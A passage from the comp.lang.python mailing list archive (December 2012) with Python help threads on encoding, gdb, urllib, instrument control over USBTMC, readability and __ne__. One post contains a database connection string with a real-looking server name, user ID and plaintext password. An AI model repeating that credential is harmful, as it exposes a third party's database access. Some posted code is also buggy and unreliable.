doesn't appear to be a standard CMS (or whatever) for presenting them. This is fine, but I was wondering if there is a python project themed to this task? If not, I'll spend a day or so building one. Thanks for all suggestions, Alec Taylor PS: If I build my own I will probably use Mezzanine From steve+comp.lang.python at pearwood.info Thu Dec 6 21:55:23 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 07 Dec 2012 02:55:23 GMT Subject: Confused compare function :) References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50c15a9a$0$21853$c3e8da3$76491128@news.astraweb.com> On Thu, 06 Dec 2012 13:51:29 +0000, Neil Cerutti wrote: > On 2012-12-06, Steven D'Aprano > wrote: >> total = 0 >> for s in list_of_strings: >> try: >> total += int(s) >> except ValueError: >> pass # Not a number, ignore it. > > If it's internal data, perhaps. Of course, that would mean I had the > option of *not* creating that stupid list_of_strings. Not necessarily, it depends on the application. If you have a spreadsheet, and create a formula =SUM(A1:A50) the expected behaviour is to just skip anything that is not a valid number, not raise an error. Sometimes correct application-level behaviour is to just ignore input that it doesn't care about. One of the things that I used to despise with a passion about MYOB is that if you clicked on the window outside of a button or field, it would scream at you "ERROR ERROR ERROR - that was not a button or field!!!!" That is to say, it would beep. I mean, *who fscking cares* that the user clicks in the window background? It's a harmless tick, like tapping your desk, just ignore it. As a general rule, library functions should be strict about reporting errors, while applications may be more forgiving about errors that they don't care about. The "don't care about" part is important though -- your word processor shouldn't care about low level networking errors, but it should care if it can't save a file to a network drive. -- Steven From wrw at mac.com Thu Dec 6 22:46:21 2012 From: wrw at mac.com (wrw at mac.com) Date: Thu, 06 Dec 2012 22:46:21 -0500 Subject: How to list a file which already created a 2 mins ago In-Reply-To: <50c10e20$0$6972$e4fe514c@news.xs4all.nl> References: <50c10e20$0$6972$e4fe514c@news.xs4all.nl> Message-ID: <2065A8EC-A62D-4709-9267-803A4115F42C@mac.com> On Dec 6, 2012, at 4:29 PM, Irmen de Jong wrote: > On 6-12-2012 17:49, moonhkt wrote: >> Hi All >> >> AIX.5.3 >> Python 2.6.2 >> >> File ftp to Machine A, need to rename then send to Machine B. >> >> How to list a file which already created a 2 mins ago ? If file aging >> more than 2 mins. I want to rename file to other file name. >> >> moonhkt >> > > ftplib.FTP > os.path.getmtime > os.rename > time.time > > Should be some pointers to get started. > > > Irmen > > -- > http://mail.python.org/mailman/listinfo/python-list The answer will depend on whether or not the AIX "ls" command includes a switch to list the file creation time. Some versions of UNIX (including OS X) have this, others don't. -Bill From jg07024 at gmail.com Thu Dec 6 23:02:47 2012 From: jg07024 at gmail.com (John Graves) Date: Fri, 7 Dec 2012 17:02:47 +1300 Subject: Project for creating and presenting API documentation? Message-ID: Look at integrating with Swagger which has the ability to offer both documentation and live testing of the API: http://swagger.wordnik.com/ The site says, "Client generators are currently available for Scala, Java, Javascript, Ruby, PHP, and Actionscript 3. More client support is underway." So it would be great to add Python to the list. For an example of use, here is the SlideSpeech API: http://slidespeech.com/api/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From miki.tebeka at gmail.com Thu Dec 6 23:17:46 2012 From: miki.tebeka at gmail.com (Miki Tebeka) Date: Thu, 6 Dec 2012 20:17:46 -0800 (PST) Subject: Cosine Similarity In-Reply-To: <7ddcb02b-b309-4143-82be-047b90c6df4d@googlegroups.com> References: <7ddcb02b-b309-4143-82be-047b90c6df4d@googlegroups.com> Message-ID: <5c698e92-b7ef-43c5-b6c0-5a4cac48d0f3@googlegroups.com> On Thursday, December 6, 2012 2:15:53 PM UTC-8, subhaba... at gmail.com wrote: > I am looking for some example of implementing Cosine similarity in python. I searched for hours but could not help much. NLTK seems to have a module but did not find examples. Should be easy with numpy: import numpy as np def cos(v1, v2): return np.dot(v1, v2) / (np.sqrt(np.dot(v1, v1)) * np.sqrt(np.dot(v2, v2))) HTH, -- Miki From songofacandy at gmail.com Fri Dec 7 01:03:09 2012 From: songofacandy at gmail.com (INADA Naoki) Date: Thu, 6 Dec 2012 22:03:09 -0800 (PST) Subject: Is __ne__ method autogenerated? Message-ID: <4f7b96e6-9f88-4fdb-84d6-49fda57ae654@googlegroups.com> The reference says: The truth of x==y does not imply that x!=y is false. Accordingly, when defining __eq__(), one should also define __ne__() so that the operators will behave as expected. (http://docs.python.org/3/reference/datamodel.html#object.__eq__) But I saw different behavior on 3.3: https://gist.github.com/4231096 Could anyone teach me what happen about my code? From mshroyer at awaredigital.com Fri Dec 7 01:28:46 2012 From: mshroyer at awaredigital.com (Mark Shroyer) Date: Fri, 7 Dec 2012 01:28:46 -0500 Subject: Problem using py-bt, py-locals, etc. during GDB debugging [solved] In-Reply-To: <50C13A42.1080608@mrabarnett.plus.com> References: <20121206213941.GA5363@mshroyer-d> <20121207002212.GB5363@mshroyer-d> <50C13A42.1080608@mrabarnett.plus.com> Message-ID: <20121207062846.GC5363@mshroyer-d> On Thu, Dec 06, 2012 at 07:37:22PM -0500, MRAB wrote: > On 2012-12-07 00:22, Mark Shroyer wrote: > > > > [...] > > > > 2. Patch Python 2.7.3's python-gdb.py as follows: > > > > === 8< ================================= > > > > --- python-gdb.py.orig 2012-12-06 15:12:18.666760664 -0500 > > +++ python-gdb.py 2012-12-06 19:17:19.588356874 -0500 > > @@ -1074,7 +1074,11 @@ > > > > > > def int_from_int(gdbval): > > - return int(str(gdbval)) > > + int_str = str(gdbval) > > + if int_str.startswith("0x"): > > + return int(int_str[2:], 16) > > + else: > > + return int(int_str) > > > > > > def stringify(val): > > > > === 8< ================================= > > > > I haven't checked to see whether this also applies to the GDB extension > > for Python 3, though. > > > A shorter fix would be: > > def int_from_int(gdbval): > return int(str(gdbval), 0) > > > Some examples: > > >>> # Decimal > >>> int("12", 0) > 12 > >>> # Hexadecimal > >>> int("0x12", 0) > 18 > >>> # Octal > >>> int("012", 0) > 10 > >>> # Octal > >>> int("0o12", 0) > 10 > >>> # Binary > >>> int("0b11", 0) > 3 Nice, I didn't know about that... thanks! From ian.g.kelly at gmail.com Fri Dec 7 01:37:42 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Thu, 6 Dec 2012 23:37:42 -0700 Subject: Is __ne__ method autogenerated? In-Reply-To: <4f7b96e6-9f88-4fdb-84d6-49fda57ae654@googlegroups.com> References: <4f7b96e6-9f88-4fdb-84d6-49fda57ae654@googlegroups.com> Message-ID: On Thu, Dec 6, 2012 at 11:03 PM, INADA Naoki wrote: > The reference says: > > The truth of x==y does not imply that x!=y is false. > Accordingly, when defining __eq__(), one should also > define __ne__() so that the operators will behave as expected. > > (http://docs.python.org/3/reference/datamodel.html#object.__eq__) > > But I saw different behavior on 3.3: > https://gist.github.com/4231096 > > Could anyone teach me what happen about my code? http://docs.python.org/3/whatsnew/3.0.html#operators-and-special-methods I can't find it documented anywhere else. From clp2 at rebertia.com Fri Dec 7 01:47:10 2012 From: clp2 at rebertia.com (Chris Rebert) Date: Thu, 6 Dec 2012 22:47:10 -0800 Subject: Is __ne__ method autogenerated? In-Reply-To: <4f7b96e6-9f88-4fdb-84d6-49fda57ae654@googlegroups.com> References: <4f7b96e6-9f88-4fdb-84d6-49fda57ae654@googlegroups.com> Message-ID: On Thursday, December 6, 2012, INADA Naoki wrote: > The reference says: > > The truth of x==y does not imply that x!=y is false. > Accordingly, when defining __eq__(), one should also > define __ne__() so that the operators will behave as expected. > > (http://docs.python.org/3/reference/datamodel.html#object.__eq__) > > But I saw different behavior on 3.3: > https://gist.github.com/4231096 > > Could anyone teach me what happen about my code? > The reference is not completely accurate in this case. See http://bugs.python.org/issue4395 "Document auto __ne__ generation; [...]" -- Cheers, Chris -- http://rebertia.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From songofacandy at gmail.com Fri Dec 7 01:48:30 2012 From: songofacandy at gmail.com (INADA Naoki) Date: Fri, 7 Dec 2012 15:48:30 +0900 Subject: Is __ne__ method autogenerated? In-Reply-To: References: <4f7b96e6-9f88-4fdb-84d6-49fda57ae654@googlegroups.com> Message-ID: Thanks a million! On Fri, Dec 7, 2012 at 3:47 PM, Chris Rebert wrote: > On Thursday, December 6, 2012, INADA Naoki wrote: > >> The reference says: >> >> The truth of x==y does not imply that x!=y is false. >> Accordingly, when defining __eq__(), one should also >> define __ne__() so that the operators will behave as expected. >> >> (http://docs.python.org/3/reference/datamodel.html#object.__eq__) >> >> But I saw different behavior on 3.3: >> https://gist.github.com/4231096 >> >> Could anyone teach me what happen about my code? >> > > The reference is not completely accurate in this case. See > http://bugs.python.org/issue4395 > "Document auto __ne__ generation; [...]" > > > -- > Cheers, > Chris > -- > http://rebertia.com > -- INADA Naoki -------------- next part -------------- An HTML attachment was scrubbed... URL: From bhargavigoswami at gmail.com Fri Dec 7 01:51:30 2012 From: bhargavigoswami at gmail.com (bhargavigoswami at gmail.com) Date: Thu, 6 Dec 2012 22:51:30 -0800 (PST) Subject: Tcl wasn't installed properly In-Reply-To: <315acc7a-cd14-4615-94f0-8b6b189e81ff@k10g2000prh.googlegroups.com> References: <315acc7a-cd14-4615-94f0-8b6b189e81ff@k10g2000prh.googlegroups.com> Message-ID: <1dd0af92-979e-458d-8ef6-92cfedc98085@googlegroups.com> I faced the same problem during my last installation of ns2.35 in ubuntu 11.04. After I install ns2.35, got message of successful installation of ns. Then I set path in /.bashrc. Then I gave ns command which gave me same error which you got. The problem is because, ns executable is also at /usr which is conflicting. Solution: 1. Go to location root-usr-local-bin by giving following command in terminal cd /usr/local/bin 2. There you would find the ns file. We just need to remove it by giving following command rm ns 3. Thats it, you are done. Now your ns starts running successfully. Happy Learning..... From gheskett at wdtv.com Fri Dec 7 02:27:23 2012 From: gheskett at wdtv.com (Gene Heskett) Date: Fri, 7 Dec 2012 02:27:23 -0500 Subject: Tcl wasn't installed properly In-Reply-To: <1dd0af92-979e-458d-8ef6-92cfedc98085@googlegroups.com> References: <315acc7a-cd14-4615-94f0-8b6b189e81ff@k10g2000prh.googlegroups.com> <1dd0af92-979e-458d-8ef6-92cfedc98085@googlegroups.com> Message-ID: <201212070227.23231.gheskett@wdtv.com> On Friday 07 December 2012 02:25:33 bhargavigoswami at gmail.com did opine: > I faced the same problem during my last installation of ns2.35 in ubuntu > 11.04. After I install ns2.35, got message of successful installation > of ns. Then I set path in /.bashrc. Then I gave ns command which gave > me same error which you got. > > The problem is because, ns executable is also at /usr which is > conflicting. > Than change the order in your $PATH, or better yet, do as below, because the $PATH is normally ordered to find locally installed stuff first. > Solution: > 1. Go to location root-usr-local-bin by giving following command in > terminal cd /usr/local/bin > 2. There you would find the ns file. We just need to remove it by giving > following command rm ns > 3. Thats it, you are done. Now your ns starts running successfully. > > Happy Learning..... Cheers, Gene -- "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: is up! BOFH excuse #276: U.S. Postal Service I was taught to respect my elders, but its getting harder and harder to find any... From markuschristen84 at gmail.com Fri Dec 7 02:41:27 2012 From: markuschristen84 at gmail.com (Markus Christen) Date: Thu, 6 Dec 2012 23:41:27 -0800 (PST) Subject: pyodbc utf-8 Message-ID: <075a81ce-9b72-400f-8beb-025a167efa5f@googlegroups.com> good morning i am using pyodbc 3.0.6 for win32 python 2.7.3 i used it to connect with a MsSql db. Now i have a little problem with the umlaut. i cant change anything in the db and there are umlauts like "?", "?" and "?" saved. so i have to change my view (of django 1.4.1) to change \xfc into ? etc. but how i have to do this? on my webpage the umlauts are correct (without helping fonts like ü (?)). but not the umlauts out read out of my db. Here the code i'm using: --------------------------------- conn = pyodbc.connect('DRIVER={SQL Server};CHARSET=UTF8;SERVER=MAURITIUS;DATABASE=baan5c;UID=portal;PWD=P0rtalReader') cursor = conn.cursor() cursor.execute("SELECT t_nama, t_bpid FROM ttccom100070 ORDER BY t_nama") rows = cursor.fetchall() --------------------------------- helping tags like ", 'utf-8'" or something else didnt work till now. have anyone an idea how i can fix this problem? ^^ i thanks for help From alec.taylor6 at gmail.com Fri Dec 7 05:29:19 2012 From: alec.taylor6 at gmail.com (Alec Taylor) Date: Fri, 7 Dec 2012 21:29:19 +1100 Subject: MVC web-framework with RESTfully Decoupled Views? Message-ID: I have used a variety of different MVC web-frameworks. My current methodology for web and mobile [PhoneGap/Cordova] development is as follows: Web framework (MVC) 1. Write the Models (db schema stuff) 2. Write the Controllers (manage interface between models and views, or just expose certain data; e.g.: RESTfully) 3. Write the Views (HTML &etc for presentation to the viewer; usually includes a seamless Template, Form and Auth layer from the framework) JavaScript framework (MVC) 1. Write the Models (for storing what the controllers grab) 2. Write the Controllers (grab required stuff RESTfully, also do sanisation type stuff [pun intended!]) 3. Write the Views >-----------< It seems to me that I would be much better served by a web-framework which integrates decoupled Views. This would shorten development time and prevent pseudo double-typing. Are there any Python web-frameworks which has added functionality for generating decoupled views? Thanks for all suggestions, Alec Taylor BTW: Full disclosure, also posted this on stackoverflow: http://stackoverflow.com/q/13761200 From hansmu at xs4all.nl Fri Dec 7 07:16:09 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Fri, 07 Dec 2012 13:16:09 +0100 Subject: pyodbc utf-8 In-Reply-To: <075a81ce-9b72-400f-8beb-025a167efa5f@googlegroups.com> References: <075a81ce-9b72-400f-8beb-025a167efa5f@googlegroups.com> Message-ID: <50c1de10$0$6952$e4fe514c@news2.news.xs4all.nl> On 7/12/12 08:41:27, Markus Christen wrote: > good morning > > i am using pyodbc 3.0.6 for win32 python 2.7.3 > i used it to connect with a MsSql db. Now i have a little problem with the umlaut. > i cant change anything in the db and there are umlauts like "?", "?" and "?" saved. > so i have to change my view (of django 1.4.1) to change \xfc into ? etc. but how i > have to do this? > on my webpage the umlauts are correct (without helping fonts like ü (?)). > but not the umlauts out read out of my db. Which encoding does your webpage use? > Here the code i'm using: > --------------------------------- > conn = pyodbc.connect('DRIVER={SQL Server};CHARSET=UTF8;SERVER=MAURITIUS;DATABASE=baan5c;UID=portal;PWD=P0rtalReader') > cursor = conn.cursor() > cursor.execute("SELECT t_nama, t_bpid FROM ttccom100070 ORDER BY t_nama") > rows = cursor.fetchall() > --------------------------------- > > helping tags like ", 'utf-8'" or something else didnt work till now. > have anyone an idea how i can fix this problem? ^^ I think the way forward would be to look at the data your code snippet receives from the database. Which datatype do the strings have? Unicode or str or something else? If the type is str, which encoding do they use? If this isn't documented, you could at a few strings containing non-ascii characters to see what codes are used, and compare them to popular encodings such as uft8, latin1 and cp1252. Hope his helps, -- HansM From steevechailloux at gmail.com Fri Dec 7 07:52:52 2012 From: steevechailloux at gmail.com (Steeve C) Date: Fri, 7 Dec 2012 13:52:52 +0100 Subject: python 3.3 urllib.request Message-ID: hello, I have a python3 script with urllib.request which have a strange behavior, here is the script : +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #!/usr/bin/env python3 # -*- coding: utf-8 -*- import urllib.request import sys, time url = 'http://google.com' def make_some_stuff(page, url): sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> page from \"") + url + "\"\n") sys.stderr.write(str(page) + "\"\n") return True def get_page(url): while 1: try: page = urllib.request.urlopen(url) yield page except urllib.error.URLError as e: sys.stderr.write(time.strftime("%d/%m/%Y %H:%M:%S -> impossible to access to \"") + url + "\"\n") time.sleep(5) continue def main(): print('in main') for page in get_page(url): make_some_stuff(page, url) time.sleep(5) if __name__ == '__main__': main() +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if the computer is connected on internet (with an ethernet connection for example) and I run this script, it works like a charme : - urllib.request.urlopen return the page - make_some_stuff write in stderr - when the ethernet cable is unplug the except block handle the error while the cable is unplug, and when the cable is pluged back urllib.request.urlopen return the page and make_some_stuff write in stderr this is the normal behavior (for me, imho). but if the computer is not connected on internet (ethernet cable unpluged) and I run this script, the except block handle the error (normal), but when I plug the cable, the script continue looping and urllib.request.urlopen never return the page (so, it alway go to the except block) What can I do to handle that ? Thanks Steeve -------------- next part -------------- An HTML attachment was scrubbed... URL: From tolidtm at gmail.com Fri Dec 7 08:36:23 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Fri, 7 Dec 2012 14:36:23 +0100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50C0D168.2010101@mrabarnett.plus.com> Message-ID: >> Calling it 'found' is misleading, because it's True only if it updated. >> If it found a match but didn't update, 'found' will still be False. >> Using a loop within a loop like this could be the cause of your >> problem. It's certainly not the most efficient way of doing it. > > I will keep you posted THANK YOU And here is my final code -- I hope you will like it a little more :) def Change_price(): # Changes the price in the DB if the price in the CSV is changed TotalUpdated = 0 # Counter for total updated TotalSKUNotFound = 0 # Total SKU from the DB coresponds to the one in the CSV TotalSKUinDB = 0 found = None for row in PRODUCTSDB: TotalSKUinDB +=1 db_sku = row["sku"].lower() db_price = float(row["price"]) if CompareWithCSV(db_sku, db_price) == True: TotalUpdated +=1 else: TotalSKUNotFound +=1 Update_SQL_stock(db_sku) WriteLog(db_sku, row["product_id"]) print "Total updated: %s" % TotalUpdated print"Total not found with in the distributor: %s" % TotalSKUNotFound print "Total products in the DB %s" % TotalSKUinDB def CompareWithCSV(db_sku, db_price): try: for x in pricelist: try: csv_price = x[6] csv_price = csv_price.replace(",",".") csv_price = float(csv_price) csv_new_price = csv_price*1.10 csv_sku = x[4].lower() csv_stock = int(x[7]) # I used this as normally I used stock in the condition if len(db_sku) != 0 and db_sku == csv_sku and csv_stock > 0: print db_sku, csv_price, db_price, csv_new_price Update_SQL(csv_new_price, db_sku) return True except (IndexError, ValueError, TypeError, db_sku): # I have a lot of index error in the CSV (empty fields) and the loop gives "index error" I don't care about them WriteErrorLog("Error with CSV file loop: ", db_sku) except IndexError: WriteErrorLog("Error with CSV file loop: ", db_sku) return False From name.surname at gmail.com Fri Dec 7 08:46:03 2012 From: name.surname at gmail.com (Marco) Date: Fri, 07 Dec 2012 14:46:03 +0100 Subject: A question about readability Message-ID: Hi all, do you think this code: $ more myscript.py for line in open('data.txt'): result = sum(int(data) for data in line.split(';')) print(result) that sums the elements of the lines of this file: $ more data.txt 30;44;99;88 11;17;16;50 33;91;77;15 $ python3.3 myscript.py 261 94 216 is explicit enough? Do you prefer a clearer solution? Thanks in advance, Marco -- Marco From jeandubois314 at gmail.com Fri Dec 7 08:46:45 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Fri, 7 Dec 2012 05:46:45 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> Message-ID: <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> On 6 dec, 21:15, w... at mac.com wrote: > On Dec 6, 2012, at 2:41 PM, Jean Dubois wrote: > > > > > > > > > > > On 6 dec, 15:50, w... at mac.com wrote: > >> On Dec 6, 2012, at 8:50 AM, Jean Dubois wrote: > > >> [byte] > > >>> It seems there is some misunderstanding here. What I meant with ?how > >>> to "do the equivalent in Python" refered to ?"reading characters > >>> rather than lines". > >>> I have written working code myself for another Keithleu which does use > >>> RS232 for communication. The problem now is specifically for the new > >>> Keithley which doesn't allow RS232 but only USB-communication over > >>> usbtmc. So if the "buffer-problem" could be changed by reading > >>> characters that would be great. > > >>> regards, > >>> Jean > > >>> -- > >>>http://mail.python.org/mailman/listinfo/python-list > > >> Sorry about the misunderstanding (and subsequent waste of bandwidth). ?However, if you will look at the serial reads and writes in that handler, you will see that it does things like "serial.read(n)" where "n" is an explicit number, the number of bytes to be read from the serial buffer. > > >> -Bill > > I tried changing measurementcurr=usbkeith.readline() to > > measurementcurr=usbkeith.read(10000) > > but this leads to trouble with the usbtmc-thing: > > > Measured current 1: > > Traceback (most recent call last): > > ?File "./keith2200rev2.py", line 26, in > > ? ?measurementvolt=usbkeith.read(10000) > > IOError: [Errno 110] Connection timed out > > > and hereafter I need to restart the Keithley...:-( > > > regards, > > Jean > > -- > >http://mail.python.org/mailman/listinfo/python-list > > Several comments: > > 1) ?I can't be sure, but that would seem to be asking the Keithley to be providing 10,000 readings. ?I don't know about the GPIB bus (which this USBTMC library seems to be trying >to emulate), but most serial devices expect to provide one answer per read-write handshake. ?That is, you send one read command and get one answer back. ?That answer may contain >several bytes, but I'd be surprised it it contained 10,000. ?The typical cycle is something like send-an-initialize, read-status, send-mode-set-up, read-status, send trigger >command, read-answer? ?lather and repeat. ? (Or some logical equivalent of all that). ?On the assumption that the USBTMC API handles most of that, I'd try usbkeith.read(n) where >"n" is the number of decimal digits you expect to get back plus sign. 10000 wasn't a good guess indeed > ------------- > > 2) I took a quick look at the Keithley and National Instruments web sites (where the documentation is at best, VERY poorly indexed and hard to search for). ?USBTMC *appears* to be a software layer designed to allow newer Tektronix and Keithley instruments to be driven using older software that drove GPIB equipment. ?To make matters worse, if I'm reading it right (I didn't study in detail) it appears to ALSO be providing a GPIB-like API to Windows versions of National Instruments LabView. > > 3) ?If I understand what you are trying to do, you want to go straight from python to the Keithley USB port, without detouring (USB-to-GPIB and GPIB back to USB). > Yes indeed, that's exactly what I want > 4) ?I did find (but did not try to read in detail) the following link: ?http://www.ni.com/white-paper/4478/en?which documents direct USB control of instruments. ?The python serial >library provides quite transparent control of reading and writing to the USB interface. ?Maybe following this link will get you going. Thanks for the link, but as you can see there they want to push NI- VISA forward as the solution, which under Linux means more complexity and surely isn't as simple to install as they claim, so if possible I'd avoid ni-visa. I'll experiment further Monday with read() and keep you informed regards, Jean From jeandubois314 at gmail.com Fri Dec 7 08:51:33 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Fri, 7 Dec 2012 05:51:33 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <5a264830-225a-4321-add4-edda89bfa82c@u19g2000yqj.googlegroups.com> Message-ID: On 6 dec, 21:28, Terry Reedy wrote: > On 12/6/2012 10:44 AM, Jean Dubois wrote: > > > > > > > > > > > I followed your suggestion an now the code looks like this: > > #!/usr/bin/python > > import time > > import os > > import sys > > measurementcurr='' > > measurementvolt='' > > timesleepdefault=2 > > filename ='mydata.txt' > > usbkeith = open('/dev/usbtmc1','r+') > > usbkeith.flush() > > usbkeith.write("*IDN?\n") > > #strip blank line: > > identification=usbkeith.readline().strip() > > print 'Found device: ',identification > > usbkeith.write("SYST:REM" + "\n") > > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > > keithdata = open(filename,'w') > > usbkeith.write(":OUTP:STAT ON\n") > > for number, current_in in enumerate(('0.025', '0.050', '0.075', > > '0.100'), 1): > > ? ? usbkeith.write(":SOUR:CURR %s\n" % current_in) > > ? ? time.sleep(timesleepdefault) > > ? ? usbkeith.write(":MEAS:CURR?\n") > > ? ? measurementcurr=usbkeith.readline() > > ? ? print 'Measured current %d: ' % number, measurementcurr > > ? ? usbkeith.write(":MEAS:VOLT?\n") > > ? ? measurementvolt=usbkeith.readline() > > ? ? print 'Measured voltage %d: ' % number, measurementvolt > > ? ? keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > usbkeith.write(":OUTP:STAT OFF\n") > > print "Goodbye, data logged in file:" > > print filename > > usbkeith.close() > > keithdata.close() > > > Still there is a "buffer-problem" as you can see in the output below: > > 0.00639725 0.0104065; these values are completely wrong > > 0.0248976 0.262959; these should have been be the first values > > 0.0500431 0.516602: these should been the second values > > 0.0749168 0.772616; these are the 3rd values > > ? ? ? ? ? ? ? ? ? ? ? 4th values are missing > > > any idea why this does what it does in Python? > > I am not familiar with the protocol at all, but my guess (without > looking at the octave code) is that two of these three commands > > ?> usbkeith.write("SYST:REM" + "\n") > ?> usbkeith.write(":SENS:VOLT:PROT 1.5\n") > ?> usbkeith.write(":OUTP:STAT ON\n") > > before the loop have responses that you need to read (and toss?) No they don't need to have there responses be red, first command sets remote mode second command sets limit on voltage across output terminals 3rd command connects terminals with DUT > usbkeith.readline(); usbkeith.readline() This doesn't work because nothing is sent back > so that the first values you read in the loop are the one that should be > first. In other words, make sure the read buffer is clear before the loop. > > -- > Terry Jan Reedy I'll look at it further monday regards, jean From roy at panix.com Fri Dec 7 08:57:54 2012 From: roy at panix.com (Roy Smith) Date: Fri, 07 Dec 2012 08:57:54 -0500 Subject: A question about readability References: Message-ID: In article , Marco wrote: > Hi all, do you think this code: > > $ more myscript.py > for line in open('data.txt'): > result = sum(int(data) for data in line.split(';')) > print(result) That sum() line is a bit of a mouthful. I would refactor it into something like this: > for line in open('data.txt'): > fields = line.split(';') > print sum(int(i) for i in fields) It's the same number of lines, but I think it's easier to read. BTW, are you using Python 2 or 3? It helps when asking these kinds of questions to let people know. I assumed 2 in my answer above. From steve+comp.lang.python at pearwood.info Fri Dec 7 09:10:19 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 07 Dec 2012 14:10:19 GMT Subject: A question about readability References: Message-ID: <50c1f8ca$0$29994$c3e8da3$5496439d@news.astraweb.com> On Fri, 07 Dec 2012 14:46:03 +0100, Marco wrote: > Hi all, do you think this code: > > $ more myscript.py > for line in open('data.txt'): > result = sum(int(data) for data in line.split(';')) > print(result) [...] > is explicit enough? Do you prefer a clearer solution? Thanks in advance, It's perfectly fine for such a simple script. It is readable and explicit. -- Steven From gialloporpora at gmail.com Fri Dec 7 09:14:07 2012 From: gialloporpora at gmail.com (gialloporpora) Date: Fri, 07 Dec 2012 15:14:07 +0100 Subject: Problem with __str__ method and character encoding Message-ID: Dear all, I have a problem with character encoding. I have created my class and I have redefined the __str__ method for pretty printing. I have saved my file as test.py, I give these lines: >>> from test import * >>> a = msgmarker("why", u"perch?", 0) >>> print a UnicodeError >>> print a.__str__() OK Why? Really, I don't understand what is wrong. I am using Python 2.7 This is the code in my test.py: class msgmarker(object): def __init__(self, msgid, msgstr, index, encoding="utf-8"): self._encoding =encoding self.set(msgid, msgstr) self._index = index def __repr__(self): return "" def __str__(self): return u'msgid: "%s"\nmsgstr: "%s"' %(self.msgid, self.msgstr) -- *Antivirus aggiornato: e siamo sicuri che basti? * - http://bit.ly/SXuDAc Sto ascoltando: *Robert Plant ? One More Cup of Coffee (Valley Below) * - http://bit.ly/TtyHMq From gialloporpora at gmail.com Fri Dec 7 09:17:50 2012 From: gialloporpora at gmail.com (gialloporpora) Date: Fri, 07 Dec 2012 15:17:50 +0100 Subject: Problem with __str__ method and character encoding In-Reply-To: References: Message-ID: Risposta al messaggio di gialloporpora : > This is the code in my test.py: Sorry, I have wrongly pasted the code: class msgmarker(object): def __init__(self, msgid, msgstr, index, encoding="utf-8"): self._encoding =encoding self.set(msgid, msgstr) self._index = index def __repr__(self): return "" def __str__(self): return u'msgid: "%s"\nmsgstr: "%s"' %(self.msgid, self.msgstr) def isUntranslated(self): return self.msgid==self.msgstr def isFuzzy(self): return self.msgstr[0:2]=="==" def markFuzzy(self): self.msgstr = "==%s" %(self.msgstr) def set(self, msgid, msgstr): if not(isinstance(msgid, unicode)): msgid = msgid.decode(self._encoding) if not(isinstance(msgstr, unicode)): msgstr = msgstr.decode(self._encoding) self.msgid = msgid self.msgstr = msgstr def setmsgstr(self, msgstr): if not(isinstance(msgstr, unicode)): msgstr = msgstr.decode(self._encoding) self.msgstr = msgstr def getIndex(self): return self._index def getIndex(self): return self._index -- *Antivirus aggiornato: e siamo sicuri che basti? * - http://bit.ly/SXuDAc Sto ascoltando: *Robert Plant ? One More Cup of Coffee (Valley Below) * - http://bit.ly/TtyHMq From pjmakey2 at gmail.com Fri Dec 7 09:22:51 2012 From: pjmakey2 at gmail.com (peter) Date: Fri, 07 Dec 2012 11:22:51 -0300 Subject: Problem with __str__ method and character encoding In-Reply-To: References: Message-ID: <50C1FBBB.5040103@gmail.com> On 12/07/2012 11:17 AM, gialloporpora wrote: > Risposta al messaggio di gialloporpora : > >> This is the code in my test.py: > > Sorry, I have wrongly pasted the code: > > > class msgmarker(object): > def __init__(self, msgid, msgstr, index, encoding="utf-8"): > self._encoding =encoding > self.set(msgid, msgstr) > self._index = index > > def __repr__(self): > return "" > > def __str__(self): > return u'msgid: "%s"\nmsgstr: "%s"' %(self.msgid, self.msgstr) > > def isUntranslated(self): > return self.msgid==self.msgstr > > def isFuzzy(self): > return self.msgstr[0:2]=="==" > > def markFuzzy(self): > self.msgstr = "==%s" %(self.msgstr) > def set(self, msgid, msgstr): > if not(isinstance(msgid, unicode)): msgid = > msgid.decode(self._encoding) > if not(isinstance(msgstr, unicode)): msgstr = > msgstr.decode(self._encoding) > self.msgid = msgid > self.msgstr = msgstr > > def setmsgstr(self, msgstr): > if not(isinstance(msgstr, unicode)): msgstr = > msgstr.decode(self._encoding) > self.msgstr = msgstr > > def getIndex(self): > return self._index > def getIndex(self): > return self._index > > > > > > > what do you meant whe you say 'pretty print' ??. is you just want to print a object in a nice format, you can use pprint from pprint import pprint nasty_dict = { 'hellou': bybye, ..... Imagine that nasty_dict have many complex object. For pretty print in the python console you can do this: pprint(nasty_dict). Is you use ipython: %page nasty_dict From rosuav at gmail.com Fri Dec 7 09:29:06 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sat, 8 Dec 2012 01:29:06 +1100 Subject: Problem with __str__ method and character encoding In-Reply-To: References: Message-ID: On Sat, Dec 8, 2012 at 1:14 AM, gialloporpora wrote: > Dear all, > I have a problem with character encoding. > I have created my class and I have redefined the __str__ method for pretty > printing. I have saved my file as test.py, > I give these lines: > >>>> from test import * >>>> a = msgmarker("why", u"perch?", 0) >>>> print a > UnicodeError >>>> print a.__str__() > OK Your __str__ method is not returning a string. It's returning a Unicode 